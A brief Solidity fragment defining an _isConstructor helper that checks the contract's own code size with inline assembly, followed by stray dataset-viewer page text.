function _isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
| 78,887 | 13,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.